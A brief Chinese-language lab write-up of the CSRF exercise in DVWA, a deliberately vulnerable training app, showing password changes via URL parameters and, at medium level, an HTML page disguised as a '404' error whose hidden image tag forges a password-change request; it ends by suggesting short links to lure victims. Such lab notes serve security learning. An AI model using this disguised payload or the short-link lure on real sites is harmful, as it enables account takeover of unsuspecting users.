# DVWA CSRF ###### tags: `DVWA` `pen_test` >乾淨的頁面 ![](https://i.imgur.com/nqb6ORJ.png) 當在 new password type 1234 and confirm type 1234 then submit ![](https://i.imgur.com/cecOkfA.png) 可以看到網址有帶入參數,所以也可以從網址的地方直接改他參數 例如輸入 123456 後送出 ![](https://i.imgur.com/rindB7U.png) 一樣成功了 --- #### Medium 中級多了 referer 出來 ![](https://i.imgur.com/q95ATiz.png) 因此串改的時候,host 與 refeerer 的ip 位置要一樣 此時將網址參數提出,製作成一個 html檔案,讓他可以從其他地方偽造來源 ``` <html> <head> </head> <body> <img src="http://192.168.159.131/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2> </body> </html> ``` 產出檔案為 csrf.html,並放在 ./dvwa/csrf.html ![](https://i.imgur.com/M8OOhy3.png) 在新的瀏覽器分頁進入該網站 ![](https://i.imgur.com/3IjbcSB.png) 之後確認原本的帳號密碼可否登入 >這邊輸入 admin / 1234 已經無法正常登入了 ![](https://i.imgur.com/Nh0wDHx.png) 同樣的偽造出來的網址,可以進階轉換成短網址,讓別人點擊